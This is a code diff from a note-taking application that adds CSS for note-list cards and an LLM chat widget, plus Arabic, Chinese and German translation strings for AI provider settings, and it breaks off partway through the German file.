+    vertical-align: text-bottom;
+}
+
+.note-list-wrapper .note-book-card .note-book-header .note-book-title {
+    font-size: 1em;
+    color: var(--active-item-text-color);
+    vertical-align: middle;
+}
+
+.note-list-wrapper .note-book-card .note-book-header .rendered-note-attributes {
+    font-size: 0.7em;
+    font-weight: normal;
+    margin-bottom: 0;
+}
+
+.note-list-wrapper .note-book-card .note-book-header:last-child {
+    border-bottom: 0;
+}
+
+.note-list-wrapper .note-book-card .note-book-content {
+    padding: 0 !important;
+    font-size: 0.8rem;
+}
+
+.note-list-wrapper .note-book-card .note-book-content .rendered-content {
+    padding: 1rem;
+}
+
+.note-list-wrapper .note-book-card .note-book-content.type-image .rendered-content,
+.note-list-wrapper .note-book-card .note-book-content.type-pdf .rendered-content {
+    padding: 0;
+}
+
+.note-list-wrapper .note-book-card .note-book-content .rendered-content.text-with-ellipsis {
+    padding: 1rem !important;
+}
+
+.note-list-wrapper .note-book-card .note-book-content h1,
+.note-list-wrapper .note-book-card .note-book-content h2,
+.note-list-wrapper .note-book-card .note-book-content h3,
+.note-list-wrapper .note-book-card .note-book-content h4,
+.note-list-wrapper .note-book-card .note-book-content h5,
+.note-list-wrapper .note-book-card .note-book-content h6 {
+    font-size: 1rem;
+    color: var(--active-item-text-color);
+}
+
+.note-list-wrapper .note-book-card .note-book-content p:last-child {
+    margin-bottom: 0;
+}
+
+.note-list-wrapper .note-book-card .note-book-content.type-canvas .rendered-content,
+.note-list-wrapper .note-book-card .note-book-content.type-mindMap .rendered-content,
+.note-list-wrapper .note-book-card .note-book-content.type-code .rendered-content,
+.note-list-wrapper .note-book-card .note-book-content.type-video .rendered-content {
+    padding: 0;
+}
+
+.note-list-wrapper .note-book-card .note-book-content.type-code {
+    height: 100%;
+}
+
+.note-list-wrapper .note-book-card .note-book-content.type-code pre {
+    height: 100%;
+    padding: 1em;
+    margin-bottom: 0;
+}
+
+.note-list-wrapper .note-book-card .tn-icon {
+    color: var(--left-pane-icon-color) !important;
+}
+
+.note-list.grid-view .note-book-card:hover {
+    filter: contrast(105%);
+}
+
+.note-list.grid-view .ck-content {
+    line-height: 1.3;
+}
+
+.note-list.grid-view .ck-content p {
+    margin-bottom: 0.5em;
+}
+
+.note-list.grid-view .ck-content figure.image {
+    width: 25%;
+}
+
 /*
  * NOTE SEARCH SUGGESTIONS
  */

apps/client/src/stylesheets/theme-next/llm-chat.css

@@ -0,0 +1,122 @@
+/* LLM Chat Launcher Widget Styles */
+.note-context-chat {
+    display: flex;
+    flex-direction: column;
+    height: 100%;
+    width: 100%;
+}
+
+.note-context-chat-container {
+    flex-grow: 1;
+    overflow-y: auto;
+    padding: 15px;
+}
+
+.chat-message {
+    display: flex;
+    margin-bottom: 15px;
+    max-width: 85%;
+}
+
+.chat-message.user-message {
+    margin-inline-start: auto;
+}
+
+.chat-message.assistant-message {
+    margin-inline-end: auto;
+}
+
+.message-avatar {
+    width: 32px;
+    height: 32px;
+    border-radius: 50%;
+    display: flex;
+    align-items: center;
+    justify-content: center;
+    margin-inline-end: 8px;
+}
+
+.user-message .message-avatar {
+    background-color: var(--primary-color);
+    color: white;
+}
+
+.assistant-message .message-avatar {
+    background-color: var(--secondary-color);
+    color: white;
+}
+
+.message-content {
+    background-color: var(--more-accented-background-color);
+    border-radius: 12px;
+    padding: 10px 15px;
+    max-width: calc(100% - 40px);
+}
+
+.user-message .message-content {
+    background-color: var(--accented-background-color);
+}
+
+.message-content pre {
+    background-color: var(--code-background-color);
+    border-radius: 5px;
+    padding: 10px;
+    overflow-x: auto;
+    max-width: 100%;
+}
+
+.message-content code {
+    background-color: var(--code-background-color);
+    padding: 2px 4px;
+    border-radius: 3px;
+}
+
+.loading-indicator {
+    display: flex;
+    align-items: center;
+    margin: 10px 0;
+    color: var(--muted-text-color);
+}
+
+.sources-container {
+    background-color: var(--accented-background-color);
+    border-top: 1px solid var(--main-border-color);
+    padding: 8px;
+}
+
+.sources-list {
+    font-size: 0.9em;
+}
+
+.source-item {
+    padding: 4px 0;
+}
+
+.source-link {
+    color: var(--link-color);
+    text-decoration: none;
+}
+
+.source-link:hover {
+    text-decoration: underline;
+}
+
+.note-context-chat-form {
+    display: flex;
+    background-color: var(--main-background-color);
+    border-top: 1px solid var(--main-border-color);
+    padding: 10px;
+}
+
+.note-context-chat-input {
+    resize: vertical;
+    min-height: 44px;
+    max-height: 200px;
+}
+
+/* Responsive adjustments */
+@media (max-width: 768px) {
+    .chat-message {
+        max-width: 95%;
+    }
+} 

apps/client/src/translations/ar/translation.json

@@ -566,6 +566,113 @@
     "enable-smooth-scroll": "تمكين التمرير السلس",
     "enable-motion": "تمكين الانتقالات والرسوم المتحركة"
   },
+  "ai_llm": {
+    "progress": "تقدم",
+    "openai_tab": "OpenAI",
+    "actions": "أجراءات",
+    "retry": "أعد المحاولة",
+    "reprocessing_index": "جار اعادة البناء...",
+    "never": "ابدٱ",
+    "agent": {
+      "processing": "جار المعالجة...",
+      "thinking": "جار التفكير...",
+      "loading": "جار التحميل...",
+      "generating": "جار الانشاء..."
+    },
+    "name": "الذكاء الأصطناعي",
+    "openai": "OpenAI",
+    "sources": "مصادر",
+    "temperature": "درجة الحرارة",
+    "model": "نموذج",
+    "refreshing_models": "جار التحديث...",
+    "error": "خطأ",
+    "refreshing": "جار التحديث...",
+    "ollama_tab": "Ollama",
+    "anthropic_tab": "انتروبيك",
+    "not_started": "لم يبدأ بعد",
+    "title": "اعدادات AI",
+    "processed_notes": "الملاحظات المعالجة",
+    "total_notes": "الملاحظات الكلية",
+    "queued_notes": "الملاحظات في قائمة الانتظار",
+    "failed_notes": "الملاحظات الفاشلة",
+    "last_processed": "اخر معالجة",
+    "refresh_stats": "تحديث الاحصائيات",
+    "voyage_tab": "استكشاف AI",
+    "provider_precedence": "اولوية المزود",
+    "system_prompt": "موجه النظام",
+    "openai_configuration": "اعدادات OpenAI",
+    "openai_settings": "اعدادات OpenAI",
+    "api_key": "مفتاح واجهة برمجة التطبيقات",
+    "url": "عنوان URL الاساسي",
+    "default_model": "النموذج الافتراضي",
+    "base_url": "عنوان URL الأساسي",
+    "openai_url_description": "افتراضيا: https://api.openai.com/v1",
+    "anthropic_settings": "اعدادات انتروبيك",
+    "ollama_settings": "اعدادات Ollama",
+    "anthropic_configuration": "تهيئة انتروبيك",
+    "voyage_url_description": "افتراضيا: https://api.voyageai.com/v1",
+    "ollama_configuration": "تهيئة Ollama",
+    "enable_ollama": "تمكين Ollama",
+    "last_attempt": "اخر محاولة",
+    "active_providers": "المزودون النشطون",
+    "disabled_providers": "المزودون المعطلون",
+    "similarity_threshold": "عتبة التشابه",
+    "complete": "اكتمل (100%)",
+    "ai_settings": "اعدادات AI",
+    "show_thinking": "عرض التفكير",
+    "index_status": "حالة الفهرس",
+    "indexed_notes": "الملاحظات المفهرسة",
+    "indexing_stopped": "تم ايقاف الفهرسة",
+    "last_indexed": "اخر فهرسة",
+    "note_chat": "دردشة الملاحظة",
+    "start_indexing": "بدء الفهرسة",
+    "chat": {
+      "root_note_title": "دردشات AI",
+      "new_chat_title": "دردشة جديدة",
+      "create_new_ai_chat": "انشاء دردشة AI جديدة"
+    },
+    "selected_provider": "المزود المحدد",
+    "select_model": "اختر النموذج...",
+    "select_provider": "اختر المزود...",
+    "ollama_model": "نموذج Ollama",
+    "refresh_models": "تحديث النماذج",
+    "rebuild_index": "اعادة بناء الفهرس",
+    "note_title": "عنوان الملاحظة",
+    "processing": "جاري المعالجة ({{percentage}}%)",
+    "incomplete": "غير مكتمل ({{percentage}}%)",
+    "ollama_url": "عنوان URL الخاص ب Ollama",
+    "provider_configuration": "تكوين موفر AI",
+    "voyage_settings": "استكشاف اعدادات AI",
+    "enable_automatic_indexing": "تمكين الفهرسة التلقائية",
+    "index_rebuild_progress": "تقدم اعادة انشاء الفهرس",
+    "index_rebuild_complete": "اكتملت عملية تحسين الفهرس",
+    "use_enhanced_context": "استخدام السياق المحسن",
+    "enter_message": "ادخل رسالتك...",
+    "index_all_notes": "فهرسة جميع الملاحظات",
+    "indexing_in_progress": "جار فهرسة الملاحظات...",
+    "use_advanced_context": "استخدم السياق المتقدم",
+    "ai_enabled": "تمكين مميزات AI",
+    "ai_disabled": "الغاء تمكين مميزات AI",
+    "enable_ai_features": "تمكين خصائص AI/LLM",
+    "enable_ai": "تمكين خصائص AI/LLM",
+    "reprocess_index": "اعادة بناء فهرس البحث",
+    "index_rebuilding": "جار تحسين الفهرس {{percentage}}",
+    "voyage_configuration": "اعدادت Voyage AI",
+    "openai_model_description": "الامثلة: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "partial": "{{ percentage }} % مكتمل",
+    "retry_queued": "تم جدولة الملاحظة لاعادة المحاولة",
+    "max_notes_per_llm_query": "اكبر عدد للملاحظات لكل استعلام",
+    "remove_provider": "احذف المزود من البحث",
+    "restore_provider": "استعادة المزود الى البحث",
+    "reprocess_index_error": "حدث خطأ اثناء اعادة بناء فهرس البحث",
+    "auto_refresh_notice": "تحديث تلقائي كل {{seconds}} ثانية",
+    "note_queued_for_retry": "الملاحظة جاهزة لاعادة المحاولة لاحقا",
+    "failed_to_retry_note": "‎فشل في اعادة محاولة معالجة المحاولة",
+    "failed_to_retry_all": "فشل في اعادة محاولة معالجة الملاحظة",
+    "error_generating_response": "‌فشل في توليد استجابة من ال AI",
+    "create_new_ai_chat": "انشاء دردشة AI جديدة",
+    "error_fetching": "فشل في استرجاع النماذج: {{error}}"
+  },
   "code_auto_read_only_size": {
     "unit": "حروف",
     "title": "الحجم التلقائي للقراءه فقط"
@@ -803,6 +910,7 @@
     "web-view": "عرض الويب",
     "mind-map": "خريطة ذهنية",
     "geo-map": "خريطة جغرافية",
+    "ai-chat": "دردشة AI",
     "task-list": "قائمة المهام"
   },
   "shared_switch": {

apps/client/src/translations/cn/translation.json

@@ -1532,10 +1532,10 @@
     "geo-map": "地理地图",
     "beta-feature": "测试版",
     "task-list": "任务列表",
+    "ai-chat": "AI聊天",
     "new-feature": "新建",
     "collections": "集合",
-    "book": "集合",
-    "ai-chat": "AI聊天"
+    "book": "集合"
   },
   "protect_note": {
     "toggle-on": "保护笔记",
@@ -1631,8 +1631,7 @@
   },
   "search_result": {
     "no_notes_found": "没有找到符合搜索条件的笔记。",
-    "search_not_executed": "尚未执行搜索。",
-    "search_now": "立即搜索"
+    "search_not_executed": "尚未执行搜索。请点击上方的\"搜索\"按钮查看结果。"
   },
   "spacer": {
     "configure_launchbar": "配置启动栏"
@@ -1840,6 +1839,149 @@
       "yesterday": "昨天"
     }
   },
+  "ai_llm": {
+    "not_started": "未开始",
+    "title": "AI设置",
+    "processed_notes": "已处理笔记",
+    "total_notes": "笔记总数",
+    "progress": "进度",
+    "queued_notes": "排队中笔记",
+    "failed_notes": "失败笔记",
+    "last_processed": "最后处理时间",
+    "refresh_stats": "刷新统计数据",
+    "enable_ai_features": "启用AI/LLM功能",
+    "enable_ai_description": "启用笔记摘要、内容生成等AI功能及其他LLM能力",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "启用AI/LLM功能",
+    "enable_ai_desc": "启用笔记摘要、内容生成等AI功能及其他LLM能力",
+    "provider_configuration": "AI提供商配置",
+    "provider_precedence": "提供商优先级",
+    "provider_precedence_description": "按优先级排序的提供商列表（用逗号分隔，例如：'openai,anthropic,ollama'）",
+    "temperature": "温度参数",
+    "temperature_description": "控制响应的随机性（0 = 确定性输出，2 = 最大随机性）",
+    "system_prompt": "系统提示词",
+    "system_prompt_description": "所有AI交互使用的默认系统提示词",
+    "openai_configuration": "OpenAI配置",
+    "openai_settings": "OpenAI设置",
+    "api_key": "API密钥",
+    "url": "基础URL",
+    "model": "模型",
+    "openai_api_key_description": "用于访问OpenAI服务的API密钥",
+    "anthropic_api_key_description": "用于访问Claude模型的Anthropic API密钥",
+    "default_model": "默认模型",
+    "openai_model_description": "示例：gpt-4o、gpt-4-turbo、gpt-3.5-turbo",
+    "base_url": "基础URL",
+    "openai_url_description": "默认：https://api.openai.com/v1",
+    "anthropic_settings": "Anthropic设置",
+    "anthropic_url_description": "Anthropic API的基础URL（默认：https://api.anthropic.com）",
+    "anthropic_model_description": "用于聊天补全的Anthropic Claude模型",
+    "voyage_settings": "Voyage AI设置",
+    "ollama_settings": "Ollama设置",
+    "ollama_url_description": "Ollama API的URL（默认：http://localhost:11434）",
+    "ollama_model_description": "用于聊天补全的 Ollama 模型",
+    "anthropic_configuration": "Anthropic配置",
+    "voyage_configuration": "Voyage AI配置",
+    "voyage_url_description": "默认：https://api.voyageai.com/v1",
+    "ollama_configuration": "Ollama配置",
+    "enable_ollama": "启用Ollama",
+    "enable_ollama_description": "启用Ollama以使用本地AI模型",
+    "ollama_url": "Ollama URL",
+    "ollama_model": "Ollama模型",
+    "refresh_models": "刷新模型",
+    "refreshing_models": "刷新中...",
+    "enable_automatic_indexing": "启用自动索引",
+    "rebuild_index": "重建索引",
+    "rebuild_index_error": "启动索引重建失败。请查看日志了解详情。",
+    "note_title": "笔记标题",
+    "error": "错误",
+    "last_attempt": "最后尝试时间",
+    "actions": "操作",
+    "retry": "重试",
+    "partial": "{{ percentage }}% 已完成",
+    "retry_queued": "笔记已加入重试队列",
+    "retry_failed": "笔记加入重试队列失败",
+    "max_notes_per_llm_query": "每次查询的最大笔记数",
+    "max_notes_per_llm_query_description": "AI上下文包含的最大相似笔记数量",
+    "active_providers": "活跃提供商",
+    "disabled_providers": "已禁用提供商",
+    "remove_provider": "从搜索中移除提供商",
+    "restore_provider": "将提供商恢复到搜索中",
+    "similarity_threshold": "相似度阈值",
+    "similarity_threshold_description": "纳入LLM查询上下文的笔记最低相似度分数（0-1）",
+    "reprocess_index": "重建搜索索引",
+    "reprocessing_index": "重建中...",
+    "reprocess_index_started": "搜索索引优化已在后台启动",
+    "reprocess_index_error": "重建搜索索引失败",
+    "index_rebuild_progress": "索引重建进度",
+    "index_rebuilding": "正在优化索引（{{percentage}}%）",
+    "index_rebuild_complete": "索引优化完成",
+    "index_rebuild_status_error": "检查索引重建状态失败",
+    "never": "从未",
+    "processing": "处理中（{{percentage}}%）",
+    "incomplete": "未完成（{{percentage}}%）",
+    "complete": "已完成（100%）",
+    "refreshing": "刷新中...",
+    "auto_refresh_notice": "每 {{seconds}} 秒自动刷新",
+    "note_queued_for_retry": "笔记已加入重试队列",
+    "failed_to_retry_note": "重试笔记失败",
+    "all_notes_queued_for_retry": "所有失败笔记已加入重试队列",
+    "failed_to_retry_all": "重试笔记失败",
+    "ai_settings": "AI设置",
+    "api_key_tooltip": "用于访问服务的API密钥",
+    "empty_key_warning": {
+      "anthropic": "Anthropic API密钥为空。请输入有效的API密钥。",
+      "openai": "OpenAI API密钥为空。请输入有效的API密钥。",
+      "voyage": "Voyage API密钥为空。请输入有效的API密钥。",
+      "ollama": "Ollama API密钥为空。请输入有效的API密钥。"
+    },
+    "agent": {
+      "processing": "处理中...",
+      "thinking": "思考中...",
+      "loading": "加载中...",
+      "generating": "生成中..."
+    },
+    "name": "AI",
+    "openai": "OpenAI",
+    "use_enhanced_context": "使用增强上下文",
+    "enhanced_context_description": "为AI提供来自笔记及其相关笔记的更多上下文，以获得更好的响应",
+    "show_thinking": "显示思考过程",
+    "show_thinking_description": "显示AI的思维链过程",
+    "enter_message": "输入你的消息...",
+    "error_contacting_provider": "联系AI提供商失败。请检查你的设置和网络连接。",
+    "error_generating_response": "生成AI响应失败",
+    "index_all_notes": "为所有笔记建立索引",
+    "index_status": "索引状态",
+    "indexed_notes": "已索引笔记",
+    "indexing_stopped": "索引已停止",
+    "indexing_in_progress": "索引进行中...",
+    "last_indexed": "最后索引时间",
+    "note_chat": "笔记聊天",
+    "sources": "来源",
+    "start_indexing": "开始索引",
+    "use_advanced_context": "使用高级上下文",
+    "ollama_no_url": "Ollama 未配置。请输入有效的URL。",
+    "chat": {
+      "root_note_title": "AI聊天记录",
+      "root_note_content": "此笔记包含你保存的AI聊天对话。",
+      "new_chat_title": "新聊天",
+      "create_new_ai_chat": "创建新的AI聊天"
+    },
+    "create_new_ai_chat": "创建新的AI聊天",
+    "configuration_warnings": "你的AI配置存在一些问题。请检查你的设置。",
+    "experimental_warning": "LLM功能目前处于实验阶段 - 特此提醒。",
+    "selected_provider": "已选提供商",
+    "selected_provider_description": "选择用于聊天和补全功能的AI提供商",
+    "select_model": "选择模型...",
+    "select_provider": "选择提供商...",
+    "ai_enabled": "已启用 AI 功能",
+    "ai_disabled": "已禁用 AI 功能",
+    "no_models_found_online": "找不到模型。请检查您的 API 密钥及设置。",
+    "no_models_found_ollama": "找不到 Ollama 模型。请确认 Ollama 是否正在运行。",
+    "error_fetching": "获取模型失败：{{error}}"
+  },
   "code-editor-options": {
     "title": "编辑器"
   },
@@ -2007,9 +2149,7 @@
     "app-restart-required": "（需重启程序以应用更改）"
   },
   "pagination": {
-    "total_notes": "{{count}} 篇笔记",
-    "prev_page": "上一页",
-    "next_page": "下一页"
+    "total_notes": "{{count}} 篇笔记"
   },
   "collections": {
     "rendering_error": "出现错误无法显示内容。"

apps/client/src/translations/de/translation.json

@@ -428,9 +428,9 @@
     "run_on_note_content_change": "Wird ausgeführt, wenn der Inhalt einer Notiz geändert wird (einschließlich der Erstellung von Notizen).",
     "run_on_note_change": "Wird ausgeführt, wenn eine Notiz geändert wird (einschließlich der Erstellung von Notizen). Enthält keine Inhaltsänderungen",
     "run_on_note_deletion": "Wird ausgeführt, wenn eine Notiz gelöscht wird",
-    "run_on_branch_creation": "wird ausgeführt, wenn ein Zweig erstellt wird. Der Zweig ist eine Verbindung zwischen der übergeordneten und der untergeordneten Notiz und wird z. B. beim Klonen oder Verschieben von Notizen erstellt.",
+    "run_on_branch_creation": "wird ausgeführt, wenn ein Zweig erstellt wird. Der Zweig ist eine Verbindung zwischen der übergeordneten Notiz und der untergeordneten Notiz und wird z. B. erstellt. beim Klonen oder Verschieben von Notizen.",
     "run_on_branch_change": "wird ausgeführt, wenn ein Zweig aktualisiert wird.",
-    "run_on_branch_deletion": "wird ausgeführt, wenn ein Zweig gelöscht wird. Der Zweig ist eine Verknüpfung zwischen der übergeordneten und der untergeordneten Notiz und wird z. B. beim Verschieben der Notiz gelöscht (alter Zweig/Link wird gelöscht).",
+    "run_on_branch_deletion": "wird ausgeführt, wenn ein Zweig gelöscht wird. Der Zweig ist eine Verknüpfung zwischen der übergeordneten Notiz und der untergeordneten Notiz und wird z. B. gelöscht. beim Verschieben der Notiz (alter Zweig/Link wird gelöscht).",
     "run_on_attribute_creation": "wird ausgeführt, wenn für die Notiz ein neues Attribut erstellt wird, das diese Beziehung definiert",
     "run_on_attribute_change": " wird ausgeführt, wenn das Attribut einer Notiz geändert wird, die diese Beziehung definiert. Dies wird auch ausgelöst, wenn das Attribut gelöscht wird",
     "relation_template": "Die Attribute der Notiz werden auch ohne eine Hierarchische-Beziehung vererbt. Der Inhalt und der Zweig werden den Instanznotizen hinzugefügt, wenn sie leer sind. Einzelheiten findest du in der Dokumentation.",
@@ -801,7 +801,7 @@
     "expand_tooltip": "Erweitert die direkten Unterelemente dieser Sammlung (eine Ebene tiefer). Für weitere Optionen auf den Pfeil rechts klicken.",
     "expand_first_level": "Direkte Unterelemente erweitern",
     "expand_nth_level": "{{depth}} Ebenen erweitern",
-    "hide_child_notes": "Untergeordnete Notizen im Baum ausblenden"
+    "hide_child_notes": "Unternotizen im Baum ausblenden"
   },
   "edited_notes": {
     "no_edited_notes_found": "An diesem Tag wurden noch keine Notizen bearbeitet...",
@@ -1007,7 +1007,7 @@
     "no_attachments": "Diese Notiz enthält keine Anhänge."
   },
   "book": {
-    "no_children_help": "Diese Sammlung enthält keine untergeordnete Notizen, daher gibt es nichts anzuzeigen.",
+    "no_children_help": "Diese Sammlung enthält keineUnternotizen, daher gibt es nichts anzuzeigen.",
     "drag_locked_title": "Für Bearbeitung gesperrt",
     "drag_locked_message": "Das Ziehen ist nicht möglich, da die Sammlung für die Bearbeitung gesperrt ist."
   },
@@ -1187,7 +1187,7 @@
     "tooltip_code_note_syntax": "Code-Notizen"
   },
   "vim_key_bindings": {
-    "use_vim_keybindings_in_code_notes": "Vim Tastenbelegung",
+    "use_vim_keybindings_in_code_notes": "Verwende VIM-Tastenkombinationen in Codenotizen (kein Ex-Modus)",
     "enable_vim_keybindings": "Aktiviere Vim-Tastenkombinationen"
   },
   "wrap_lines": {
@@ -1439,7 +1439,7 @@
     "open-in-a-new-tab": "In neuem Tab öffnen",
     "open-in-a-new-split": "In neuem Split öffnen",
     "insert-note-after": "Notiz dahinter einfügen",
-    "insert-child-note": "Untergeordnete Notiz einfügen",
+    "insert-child-note": "Unternotiz einfügen",
     "delete": "Löschen",
     "search-in-subtree": "Im Zweig suchen",
     "hoist-note": "Notiz-Fokus setzen",
@@ -1558,7 +1558,7 @@
     "saved-search-note-refreshed": "Gespeicherte Such-Notiz wurde aktualisiert.",
     "hoist-this-note-workspace": "Diese Notiz fokussieren (Arbeitsbereich)",
     "refresh-saved-search-results": "Gespeicherte Suchergebnisse aktualisieren",
-    "create-child-note": "Untergeordnete Notiz anlegen",
+    "create-child-note": "Unternotiz anlegen",
     "unhoist": "Fokus verlassen",
     "toggle-sidebar": "Seitenleiste ein-/ausblenden",
     "dropping-not-allowed": "Ablegen von Notizen an dieser Stelle ist nicht zulässig.",
@@ -1569,7 +1569,7 @@
     "subtree-hidden-tooltip_one": "{{count}} untergeordnete Notiz, die im Baum ausgeblendet ist",
     "subtree-hidden-tooltip_other": "{{count}} untergeordnete Notizen, die im Baum ausgeblendet sind",
     "subtree-hidden-moved-title": "Zu {{title}} hinzugefügt",
-    "subtree-hidden-moved-description-collection": "Diese Sammlung blendet ihre untergeordneten Notizen im Baum aus.",
+    "subtree-hidden-moved-description-collection": "Diese Sammlung blendet ihre Unternotizen im Baum aus.",
     "subtree-hidden-moved-description-other": "Untergeordnete Notizen sind im Baum für diese Notiz ausgeblendet."
   },
   "title_bar_buttons": {
@@ -1600,8 +1600,7 @@
   },
   "search_result": {
     "no_notes_found": "Es wurden keine Notizen mit den angegebenen Suchparametern gefunden.",
-    "search_not_executed": "Die Suche wurde noch nicht ausgeführt.",
-    "search_now": "Jetzt suchen"
+    "search_not_executed": "Die Suche wurde noch nicht ausgeführt. Klicke oben auf „Suchen“, um die Ergebnisse anzuzeigen."
   },
   "spacer": {
     "configure_launchbar": "Starterleiste konfigurieren"
@@ -1757,7 +1756,7 @@
   },
   "note_autocomplete": {
     "search-for": "Suche nach \"{{term}}\"",
-    "create-note": "Erstelle und verlinke untergeordnete Notiz \"{{term}}\"",
+    "create-note": "Erstelle und verlinke Unternotiz \"{{term}}\"",
     "insert-external-link": "Einfügen von Externen Link zu \"{{term}}\"",
     "clear-text-field": "Textfeldinhalt löschen",
     "show-recent-notes": "Aktuelle Notizen anzeigen",
@@ -1768,7 +1767,7 @@
     "quick-edit": "Schnellbearbeitung"
   },
   "geo-map": {
-    "create-child-note-title": "Neue untergeordnete Notiz anlegen und zur Karte hinzufügen",
+    "create-child-note-title": "Neue Unternotiz anlegen und zur Karte hinzufügen",
     "create-child-note-instruction": "Auf die Karte klicken, um eine neue Notiz an der Stelle zu erstellen oder Escape drücken um abzubrechen.",
     "unable-to-load-map": "Karte konnte nicht geladen werden.",
     "create-child-note-text": "Marker hinzufügen"
@@ -1795,6 +1794,149 @@
     "close": "Schließen",
     "help_title": "Zeige mehr Informationen zu diesem Fenster"
   },
+  "ai_llm": {
+    "not_started": "Nicht gestartet",
+    "title": "KI Einstellungen",
+    "processed_notes": "Verarbeitete Notizen",
+    "total_notes": "Gesamt Notizen",
+    "progress": "Fortschritt",
+    "queued_notes": "Eingereihte Notizen",
+    "failed_notes": "Fehlgeschlagenen Notizen",
+    "last_processed": "Zuletzt verarbeitet",
+    "refresh_stats": "Statistiken neu laden",
+    "enable_ai_features": "Aktiviere KI/LLM Funktionen",
+    "enable_ai_description": "Aktiviere KI-Funktionen wie Notizzusammenfassungen, Inhaltserzeugung und andere LLM-Funktionen",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "Aktiviere KI/LLM Funktionen",
+    "enable_ai_desc": "Aktiviere KI-Funktionen wie Notizzusammenfassungen, Inhaltserzeugung und andere LLM-Funktionen",
+    "provider_configuration": "KI-Anbieterkonfiguration",
+    "provider_precedence": "Anbieter Priorität",
+    "provider_precedence_description": "Komma-getrennte Liste von Anbieter in der Reihenfolge ihrer Priorität (z.B. 'openai, anthropic,ollama')",
+    "temperature": "Temperatur",
+    "temperature_description": "Regelt die Zufälligkeit in Antworten (0 = deterministisch, 2 = maximale Zufälligkeit)",
+    "system_prompt": "Systemaufforderung",
+    "system_prompt_description": "Standard Systemaufforderung für alle KI-Interaktionen",
+    "openai_configuration": "OpenAI Konfiguration",
+    "openai_settings": "OpenAI Einstellungen",
+    "api_key": "API Schlüssel",
+    "url": "Basis-URL",
+    "model": "Modell",
+    "anthropic_settings": "Anthropic Einstellungen",
+    "partial": "{{ percentage }}% verarbeitet",
+    "anthropic_api_key_description": "Dein Anthropic API-Key für den Zugriff auf Claude Modelle",
+    "anthropic_model_description": "Anthropic Claude Modell für Chat-Vervollständigung",
+    "voyage_settings": "Einstellungen für Voyage AI",
+    "ollama_url_description": "URL für die Ollama API (Standard: http://localhost:11434)",
+    "ollama_model_description": "Ollama Modell für Chat-Vervollständigung",
+    "anthropic_configuration": "Anthropic Konfiguration",
+    "voyage_configuration": "Voyage AI Konfiguration",
+    "voyage_url_description": "Standard: https://api.voyageai.com/v1",
+    "ollama_configuration": "Ollama Konfiguration",
+    "enable_ollama": "Aktiviere Ollama",
+    "enable_ollama_description": "Aktiviere Ollama für lokale KI Modell Nutzung",
+    "ollama_url": "Ollama URL",
+    "ollama_model": "Ollama Modell",
+    "refresh_models": "Aktualisiere Modelle",
+    "refreshing_models": "Aktualisiere...",
+    "enable_automatic_indexing": "Aktiviere automatische Indizierung",
+    "rebuild_index": "Index neu aufbauen",
+    "rebuild_index_error": "Fehler beim Neuaufbau des Index. Prüfe Log für mehr Informationen.",
+    "retry_failed": "Fehler: Notiz konnte nicht erneut eingereiht werden",
+    "max_notes_per_llm_query": "Max. Notizen je Abfrage",
+    "max_notes_per_llm_query_description": "Maximale Anzahl ähnlicher Notizen zum Einbinden als KI Kontext",
+    "active_providers": "Aktive Anbieter",
+    "disabled_providers": "Inaktive Anbieter",
+    "remove_provider": "Entferne Anbieter von Suche",
+    "restore_provider": "Anbieter zur Suche wiederherstellen",
+    "similarity_threshold": "Ähnlichkeitsschwelle",
+    "similarity_threshold_description": "Mindestähnlichkeitswert (0-1) für Notizen, die im Kontext für LLM-Abfragen berücksichtigt werden sollen",
+    "reprocess_index": "Suchindex neu erstellen",
+    "reprocessing_index": "Neuerstellung...",
+    "reprocess_index_started": "Suchindex-Optimierung wurde im Hintergrund gestartet",
+    "reprocess_index_error": "Fehler beim Wiederaufbau des Suchindex",
+    "index_rebuild_progress": "Fortschritt der Index-Neuerstellung",
+    "index_rebuilding": "Optimierung Index ({{percentage}}%)",
+    "index_rebuild_complete": "Index Optimierung abgeschlossen",
+    "index_rebuild_status_error": "Fehler bei Überprüfung Status Index Neuerstellung",
+    "never": "Niemals",
+    "processing": "Verarbeitung ({{percentage}}%)",
+    "refreshing": "Aktualisiere...",
+    "incomplete": "Unvollständig ({{percentage}}%)",
+    "complete": "Abgeschlossen (100%)",
+    "auto_refresh_notice": "Auto-Aktualisierung alle {{seconds}} Sekunden",
+    "note_queued_for_retry": "Notiz in Warteschlange für erneuten Versuch hinzugefügt",
+    "failed_to_retry_note": "Wiederholungsversuch fehlgeschlagen für Notiz",
+    "ai_settings": "KI Einstellungen",
+    "agent": {
+      "processing": "Verarbeite...",
+      "thinking": "Nachdenken...",
+      "loading": "Lade...",
+      "generating": "Generiere..."
+    },
+    "name": "KI",
+    "openai": "OpenAI",
+    "use_enhanced_context": "Benutze verbesserten Kontext",
+    "openai_api_key_description": "Dein OpenAPI-Key für den Zugriff auf den KI-Dienst",
+    "default_model": "Standardmodell",
+    "openai_model_description": "Beispiele: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "base_url": "Basis URL",
+    "openai_url_description": "Standard: https://api.openai.com/v1",
+    "anthropic_url_description": "Basis URL für Anthropic API (Standard: https://api.anthropic.com)",
+    "ollama_settings": "Ollama Einstellungen",
+    "note_title": "Notiz Titel",
+    "error": "Fehler",
+    "last_attempt": "Letzter Versuch",
+    "actions": "Aktionen",
+    "retry": "Erneut versuchen",
+    "retry_queued": "Notiz für weiteren Versuch eingereiht",
+    "empty_key_warning": {
+      "anthropic": "Anthropic API-Key ist leer. Bitte gültigen API-Key eingeben.",
+      "openai": "OpenAI API-Key ist leer. Bitte gültigen API-Key eingeben.",
+      "voyage": "Voyage API-Key ist leer. Bitte gültigen API-Key eingeben.",
+      "ollama": "Ollama API-Key ist leer. Bitte gültigen API-Key eingeben."
+    },
+    "api_key_tooltip": "API-Key für den Zugriff auf den Dienst",
+    "failed_to_retry_all": "Wiederholungsversuch für Notizen fehlgeschlagen",
+    "all_notes_queued_for_retry": "Alle fehlgeschlagenen Notizen wurden zur Wiederholung in die Warteschlange gestellt",
+    "enhanced_context_description": "Versorgt die KI mit mehr Kontext aus der Notiz und den zugehörigen Notizen, um bessere Antworten zu ermöglichen",
+    "show_thinking": "Zeige Denkprozess",
+    "show_thinking_description": "Zeige den Denkprozess der KI",
+    "enter_message": "Geben Sie Ihre Nachricht ein...",
